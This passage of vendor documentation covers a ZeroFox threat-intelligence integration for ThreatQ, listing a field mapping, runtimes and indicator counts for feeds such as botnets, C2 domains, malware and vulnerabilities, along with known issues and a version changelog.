<code>results[].description</code>	Indicator.Description	N/A	<code>results[].created_at</code>	The debug command in Sendmail is enabled, allowing attackers to execute commands as root.	If Description option is enabled

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

ZeroFox CTI - Botnets

METRIC	RESULT
Run Time	2 mins
Indicators	4,394
Indicator Attributes	4,397
Malware	3

ZeroFox CTI - C2 Domains

METRIC	RESULT
Run Time	70 mins
Indicators	7,148
Indicator Attributes	7,242

ZeroFox CTI - Malware

METRIC	RESULT
Run Time	78 mins
Indicators	23,535
Indicator Attributes	19,734
Malware	60

ZeroFox CTI - Phishing

METRIC	RESULT
Run Time	1 min
Indicators	390
Indicator Attributes	862

ZeroFox CTI - Ransomware

METRIC	RESULT
Run Time	1 min
Indicators	55
Indicator Attributes	59
Malware	6

ZeroFox CTI - Exploits

METRIC	RESULT
Run Time	1 min
Indicators	1
Vulnerability	1
Vulnerability Attributes	1

ZeroFox CTI - Vulnerabilities

METRIC	RESULT
Run Time	6 mins
Indicators	2,611
Indicator Attributes	31,482

Known Issues / Limitations

- Depending on whether you are ingesting public or private data, files may be downloaded, even if no data is ingested. This is because the public/private filtering happens at the integration code level instead of the API level.
- The ZeroFox Alerts feed may not take the same API key as the other feeds

Change Log

- **Version 1.0.2**
 - Resolved an issue where the **C2 Domains** feed would never complete and / or trigger a 502 Gateway Timeout error.
 - Updated to the **Ingest CVEs as** configuration parameter field from checkboxes to a dropdown for the **ZeroFox CTI Vulnerabilities** and **Exploit** feeds.
 - Updated the minimum ThreatQ version to 5.12.1.
- **Version 1.0.1**
 - Added the following configuration parameters to all feeds:
 - **Enable SSL Verification**
 - **Disable Proxies**
 - Resolved an issue where the `limit` URL parameter would append to the next page URL until the URL was too long.
 - Changed the `limit` parameter to `page_size`.
- **Version 1.0.0**
 - Initial release